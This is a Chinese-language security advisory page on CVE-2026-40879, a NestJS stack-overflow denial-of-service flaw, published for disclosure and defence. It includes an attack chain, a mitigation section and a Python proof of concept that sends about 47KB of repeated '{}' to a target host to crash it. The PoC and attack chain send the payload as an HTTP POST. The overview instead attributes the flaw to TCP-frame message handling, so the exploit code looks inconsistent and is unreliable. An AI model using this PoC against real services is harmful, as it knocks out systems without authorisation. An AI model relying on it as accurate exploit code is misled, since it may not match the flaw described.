IPBUF安全漏洞报告
English
CVE-2026-40879 CVSS 7.5 高危

CVE-2026-40879 NestJS拒绝服务漏洞

披露日期: 2026-04-21

漏洞信息

漏洞编号
CVE-2026-40879
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
NestJS

相关标签

拒绝服务DoSNestJS栈溢出Node.jsCVE-2026-40879

漏洞概述

NestJS是一个用于构建Node.js服务端应用程序的框架。在11.1.19版本之前,当攻击者在一个TCP帧中发送许多小的、有效的JSON消息时,`handleData()`函数会针对每条消息进行一次递归调用,导致缓冲区在每次调用时收缩。由于`maxBufferSize`从未达到,调用栈反而溢出。大约47KB的payload足以触发RangeError,导致服务崩溃。该漏洞在11.1.19版本中已修复。

技术细节

该漏洞源于NestJS底层处理数据流时的逻辑缺陷。当TCP帧内包含大量微小且有效的JSON消息时,解析器会递归调用`handleData()`函数。由于每次递归仅处理部分数据并收缩缓冲区,而不是检查累积大小,系统绕过了最大缓冲区大小的限制。这种深度递归导致调用栈迅速消耗,最终引发栈溢出错误(RangeError: Maximum call stack size exceeded)。攻击者无需认证,通过发送特制的网络数据包即可触发此漏洞,导致目标服务不可用。

攻击链分析

STEP 1
信息收集
攻击者识别出目标应用使用NestJS框架,且版本未升级至11.1.19。
STEP 2
构造载荷
攻击者编写脚本,生成包含大量微小JSON对象(如'{}')的字符串,大小约为47KB。
STEP 3
发送请求
攻击者将包含恶意JSON的载荷放入一个TCP帧中,发送给目标服务器的HTTP接口。
STEP 4
递归解析
服务器端`handleData()`函数递归处理每个JSON对象,导致调用栈深度迅速增加。
STEP 5
服务崩溃
调用栈超过限制,抛出RangeError异常,导致Node.js进程崩溃或停止响应。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket # PoC for CVE-2026-40879: NestJS Stack Overflow via Many Small JSON Messages # Target: NestJS application < 11.1.19 def send_exploit(target_host, target_port): # Construct a payload with many small JSON objects # ~47KB payload is sufficient payload = ("{}" * 25000).encode('utf-8') try: # Create a TCP socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_host, target_port)) # Send HTTP POST request with the malicious payload in the body # Sending as a single frame is key to the exploit request = f"POST / HTTP/1.1\r\nHost: {target_host}\r\nContent-Type: application/json\r\nContent-Length: {len(payload)}\r\n\r\n".encode('utf-8') # Combine headers and payload and send immediately s.sendall(request + payload) print(f"Sent payload of size {len(payload)} bytes to {target_host}:{target_port}") s.close() except Exception as e: print(f"Error: {e}") if __name__ == "__main__": send_exploit("127.0.0.1", 3000)

影响范围

NestJS < 11.1.19

防御指南

临时缓解措施
如果无法立即升级,建议在反向代理(如Nginx)层面严格限制请求体的大小,或者配置Web应用防火墙(WAF)规则,识别并拦截包含异常大量JSON对象的请求,从而防止递归深度过大导致的栈溢出。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表